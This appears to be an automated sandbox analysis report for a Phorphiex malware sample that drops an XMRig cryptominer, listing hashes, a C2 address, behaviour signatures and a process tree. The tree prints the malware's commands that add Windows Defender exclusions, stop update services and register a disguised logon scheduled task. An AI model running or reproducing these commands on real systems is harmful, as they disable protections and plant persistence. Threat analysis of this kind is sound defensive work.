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Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/10/2024, 12:46

General

  • Target

    06d07847e64f71b8d73b54d9202521d0ca2dd399553a4a93eb28f8cb24475c34.exe

  • Size

    9KB

  • MD5

    01c1d7ab632c70c1b9a69f44b99d3a8f

  • SHA1

    b939a75ae4677aedc7f0c38ad7e3b09759b6292f

  • SHA256

    06d07847e64f71b8d73b54d9202521d0ca2dd399553a4a93eb28f8cb24475c34

  • SHA512

    8b02cfe0d50e155ad710a1759ecc197309a9a26b7854d0b943aa20139c83116599d73ebe384cb3d3a9ecd3d10366f28218ce44312bc63dae771fef0019f15f4e

  • SSDEEP

    96:Ef+u6X9nSjemmYaEy8uQddxDoy9+tQGlW0fflJi01JxGEh32qhlC7tCExbmq:Ef+u6XM8J78D9+6GdvJxTh3thWxbV

Malware Config

Extracted

Family

phorphiex

C2

http://185.215.113.84

Signatures

  • Modifies security service 2 TTPs 1 IoCs
  • Phorphiex family
  • Phorphiex payload 1 IoCs
  • Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Windows security bypass 2 TTPs 6 IoCs
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 8 IoCs
  • Windows security modification 2 TTPs 7 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 53 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3528
      • C:\Users\Admin\AppData\Local\Temp\06d07847e64f71b8d73b54d9202521d0ca2dd399553a4a93eb28f8cb24475c34.exe
        "C:\Users\Admin\AppData\Local\Temp\06d07847e64f71b8d73b54d9202521d0ca2dd399553a4a93eb28f8cb24475c34.exe"
        2⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3692
        • C:\Users\Admin\AppData\Local\Temp\19143.scr
          "C:\Users\Admin\AppData\Local\Temp\19143.scr" /S
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1460
          • C:\Windows\sysppvrdnvs.exe
            C:\Windows\sysppvrdnvs.exe
            4⤵
            • Modifies security service
            • Windows security bypass
            • Checks computer location settings
            • Executes dropped EXE
            • Windows security modification
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1064
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4680
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:748
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:3164
              • C:\Windows\SysWOW64\sc.exe
                sc stop UsoSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:1912
              • C:\Windows\SysWOW64\sc.exe
                sc stop WaaSMedicSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:4672
              • C:\Windows\SysWOW64\sc.exe
                sc stop wuauserv
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:1776
              • C:\Windows\SysWOW64\sc.exe
                sc stop DoSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:220
              • C:\Windows\SysWOW64\sc.exe
                sc stop BITS /wait
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:2252
            • C:\Users\Admin\AppData\Local\Temp\2569218837.exe
              C:\Users\Admin\AppData\Local\Temp\2569218837.exe
              5⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:5040
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:1544
                • C:\Windows\system32\reg.exe
                  reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                  7⤵
                    PID:4360
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4312
                  • C:\Windows\system32\schtasks.exe
                    schtasks /delete /f /tn "Windows Upgrade Manager"
                    7⤵
                      PID:1376
                • C:\Users\Admin\AppData\Local\Temp\2939710152.exe
                  C:\Users\Admin\AppData\Local\Temp\2939710152.exe
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:3656
                • C:\Users\Admin\AppData\Local\Temp\276441775.exe
                  C:\Users\Admin\AppData\Local\Temp\276441775.exe
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:1016
                  • C:\Users\Admin\AppData\Local\Temp\3928227919.exe
                    C:\Users\Admin\AppData\Local\Temp\3928227919.exe
                    6⤵
                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3972
                • C:\Users\Admin\AppData\Local\Temp\3135025858.exe
                  C:\Users\Admin\AppData\Local\Temp\3135025858.exe
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:3752
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4516
          • C:\Windows\System32\schtasks.exe
            C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
            2⤵
              PID:2012
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:3492
            • C:\Windows\System32\conhost.exe
              C:\Windows\System32\conhost.exe
              2⤵
                PID:4256
              • C:\Windows\System32\dwm.exe
                C:\Windows\System32\dwm.exe
                2⤵
                  PID:1356
              • C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
                "C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
                1⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:1724

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                Filesize

                3KB

                MD5

                fee026663fcb662152188784794028ee

                SHA1

                3c02a26a9cb16648fad85c6477b68ced3cb0cb45

                SHA256

                dbd4136bc342e3e92902ec3a30d165452c82997a7ae24ac90775e42d88959e6b

                SHA512

                7b12bd5c8fc4356b9123d6586b4980cf76012663b41c0dab6f6f21567e2f4005c5bcea2cc2158d157e4f801a281f3e04bad3774cddb3122db309ccf662184bd6

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\3DWZNJ32\1[1]

                Filesize

                108KB

                MD5

                1fcb78fb6cf9720e9d9494c42142d885

                SHA1

                fef9c2e728ab9d56ce9ed28934b3182b6f1d5379

                SHA256

                84652bb8c63ca4fd7eb7a2d6ef44029801f3057aa2961867245a3a765928dd02

                SHA512

                cdf58e463af1784aea86995b3e5d6b07701c5c4095e30ec80cc901ffd448c6f4f714c521bf8796ffa8c47538bf8bf5351e157596efaa7ab88155d63dc33f7dc3

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                18KB

                MD5

                58e1b47620f5c01bf958e1133fb40102

                SHA1

                873df167b9d4c0bd5bece7a3b47c144fd53d314f

                SHA256

                d4bb24378b46bacdc2ea2f9220f5bf49b87bc29d3cc292787daf024cc37f1779

                SHA512

                524ebad33f0a613f6f7cf9f52a81acb28078f6b9c88089594f7a705d8d1c52e3b7a5305eb29af77dedcd7846d7f7b319e876c5baf30f83e3ead963a1623de34a

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                1KB

                MD5

                d95b08252ed624f6d91b46523f110f29

                SHA1

                17577997bc1fb5d3fbe59be84013165534415dc3

                SHA256

                342ce7c39bf9992d31d4b61ef138b2b084c96c74736ed00bb19aae49be16ca02

                SHA512

                0c4288176d56f4ee6d8f08f568fba07ad859f50a395c39d2afd3baf55d3d29ca065a1ce305d1bd790477c35977c0ffa230543e805622f80a77bcee71b24eb257

              • C:\Users\Admin\AppData\Local\Temp\19143.scr

                Filesize

                83KB

                MD5

                06560b5e92d704395bc6dae58bc7e794

                SHA1

                fbd3e4ae28620197d1f02bfc24adaf4ddacd2372

                SHA256

                9eaaadf3857e4a3e83f4f78d96ab185213b6528c8e470807f9d16035daadf33d

                SHA512

                b55b49fc1bd526c47d88fcf8a20fcaed900bfb291f2e3e1186ec196a87127ed24df71385ae04fedcc802c362c4ebf38edfc182013febf4496ddeb66ce5195ee3

              • C:\Users\Admin\AppData\Local\Temp\2569218837.exe

                Filesize

                8KB

                MD5

                cb8420e681f68db1bad5ed24e7b22114

                SHA1

                416fc65d538d3622f5ca71c667a11df88a927c31

                SHA256

                5850892f67f85991b31fc90f62c8b7791afeb3c08ae1877d857aa2b59471a2ea

                SHA512

                baaabcc4ad5d409267a34ed7b20e4afb4d247974bfc581d39aae945e5bf8a673a1f8eacae2e6783480c8baaeb0a80d028274a202d456f13d0af956afa0110fdf

              • C:\Users\Admin\AppData\Local\Temp\276441775.exe

                Filesize

                10KB

                MD5

                96509ab828867d81c1693b614b22f41d

                SHA1

                c5f82005dbda43cedd86708cc5fc3635a781a67e

                SHA256

                a9de2927b0ec45cf900508fec18531c04ee9fa8a5dfe2fc82c67d9458cf4b744

                SHA512

                ff603117a06da8fb2386c1d2049a5896774e41f34d05951ecd4e7b5fc9da51a373e3fcf61af3577ff78490cf898471ce8e71eae848a12812fe98cd7e76e1a9ca

              • C:\Users\Admin\AppData\Local\Temp\2939710152.exe

                Filesize

                15KB

                MD5

                0c37ee292fec32dba0420e6c94224e28

                SHA1

                012cbdddaddab319a4b3ae2968b42950e929c46b

                SHA256

                981d724feebc36777e99513dc061d1f009e589f965c920797285c46d863060d1

                SHA512

                2b60b571c55d0441ba0cfc695f9db5cd12660ebec7effc7e893c3b7a1c6cb6149df487c31b8d748697e260cbc4af29331592b705ea9638f64a711c7a6164628b

              • C:\Users\Admin\AppData\Local\Temp\3135025858.exe

                Filesize

                13KB

                MD5

                5a0d146f7a911e98da8cc3c6de8acabf

                SHA1

                4ec56b14a08c897a5e9e85f5545b6c976a0be3c1

                SHA256

                bf61e77b7c49ce3346a28d8bc084c210618ea6ec5f3cfa9ae8f4aa4d64e145f1

                SHA512

                6d1526a5f467535d51b7f9b3a7af2d54512526e2523e3048082277b83b6e1a1f0d7e3c617405898f240ae84a16163bc47886d8541a016b31c51dfadf9da713e1

              • C:\Users\Admin\AppData\Local\Temp\3928227919.exe

                Filesize

                5.6MB

                MD5

                13b26b2c7048a92d6a843c1302618fad

                SHA1

                89c2dfc01ac12ef2704c7669844ec69f1700c1ca

                SHA256

                1753ad35ece25ab9a19048c70062e9170f495e313d7355ebbba59c38f5d90256

                SHA512

                d6aff89b61c9945002a6798617ad304612460a607ef1cfbdcb32f8932ca648bcee1d5f2e0321bb4c58c1f4642b1e0ececc1eb82450fdec7dff69b5389f195455

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_43axvxxu.1lw.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • memory/748-31-0x000000006FA80000-0x000000006FACC000-memory.dmp

                Filesize

                304KB

              • memory/748-17-0x0000000005F20000-0x0000000005F86000-memory.dmp

                Filesize

                408KB

              • memory/748-42-0x0000000007780000-0x0000000007823000-memory.dmp

                Filesize

                652KB

              • memory/748-43-0x0000000007F60000-0x00000000085DA000-memory.dmp

                Filesize

                6.5MB

              • memory/748-44-0x00000000078B0000-0x00000000078CA000-memory.dmp

                Filesize

                104KB

              • memory/748-45-0x0000000007930000-0x000000000793A000-memory.dmp

                Filesize

                40KB

              • memory/748-46-0x0000000007B30000-0x0000000007BC6000-memory.dmp

                Filesize

                600KB

              • memory/748-47-0x0000000007AD0000-0x0000000007AE1000-memory.dmp

                Filesize

                68KB

              • memory/748-48-0x0000000007AF0000-0x0000000007AFE000-memory.dmp

                Filesize

                56KB

              • memory/748-49-0x0000000007B00000-0x0000000007B14000-memory.dmp

                Filesize

                80KB

              • memory/748-50-0x0000000007BF0000-0x0000000007C0A000-memory.dmp

                Filesize

                104KB

              • memory/748-51-0x0000000007BD0000-0x0000000007BD8000-memory.dmp

                Filesize

                32KB

              • memory/748-30-0x0000000006B50000-0x0000000006B82000-memory.dmp

                Filesize

                200KB

              • memory/748-29-0x0000000006620000-0x000000000666C000-memory.dmp

                Filesize

                304KB

              • memory/748-13-0x0000000004FE0000-0x0000000005016000-memory.dmp

                Filesize

                216KB

              • memory/748-28-0x0000000006590000-0x00000000065AE000-memory.dmp

                Filesize

                120KB

              • memory/748-27-0x0000000005F90000-0x00000000062E4000-memory.dmp

                Filesize

                3.3MB

              • memory/748-41-0x0000000006BC0000-0x0000000006BDE000-memory.dmp

                Filesize

                120KB

              • memory/748-16-0x0000000005E80000-0x0000000005EE6000-memory.dmp

                Filesize

                408KB

              • memory/748-14-0x0000000005720000-0x0000000005D48000-memory.dmp

                Filesize

                6.2MB

              • memory/748-15-0x00000000056D0000-0x00000000056F2000-memory.dmp

                Filesize

                136KB

              • memory/1356-140-0x00007FF6894C0000-0x00007FF689CAF000-memory.dmp

                Filesize

                7.9MB

              • memory/1356-132-0x0000018549670000-0x0000018549690000-memory.dmp

                Filesize

                128KB

              • memory/1356-135-0x00007FF6894C0000-0x00007FF689CAF000-memory.dmp

                Filesize

                7.9MB

              • memory/1356-137-0x00007FF6894C0000-0x00007FF689CAF000-memory.dmp

                Filesize

                7.9MB

              • memory/1356-142-0x00007FF6894C0000-0x00007FF689CAF000-memory.dmp

                Filesize

                7.9MB

              • memory/1356-156-0x00007FF6894C0000-0x00007FF689CAF000-memory.dmp

                Filesize

                7.9MB

              • memory/1356-158-0x00007FF6894C0000-0x00007FF689CAF000-memory.dmp

                Filesize

                7.9MB

              • memory/1724-133-0x00007FF7E4DE0000-0x00007FF7E5377000-memory.dmp

                Filesize

                5.6MB

              • memory/3972-114-0x00007FF722F90000-0x00007FF723527000-memory.dmp

                Filesize

                5.6MB

              • memory/4256-134-0x00007FF754C80000-0x00007FF754CA9000-memory.dmp

                Filesize

                164KB

              • memory/4256-136-0x00007FF754C80000-0x00007FF754CA9000-memory.dmp

                Filesize

                164KB

              • memory/4516-104-0x000001B71AE60000-0x000001B71AE82000-memory.dmp

                Filesize

                136KB

              • memory/5040-72-0x00000000002F0000-0x00000000002F6000-memory.dmp

                Filesize

                24KB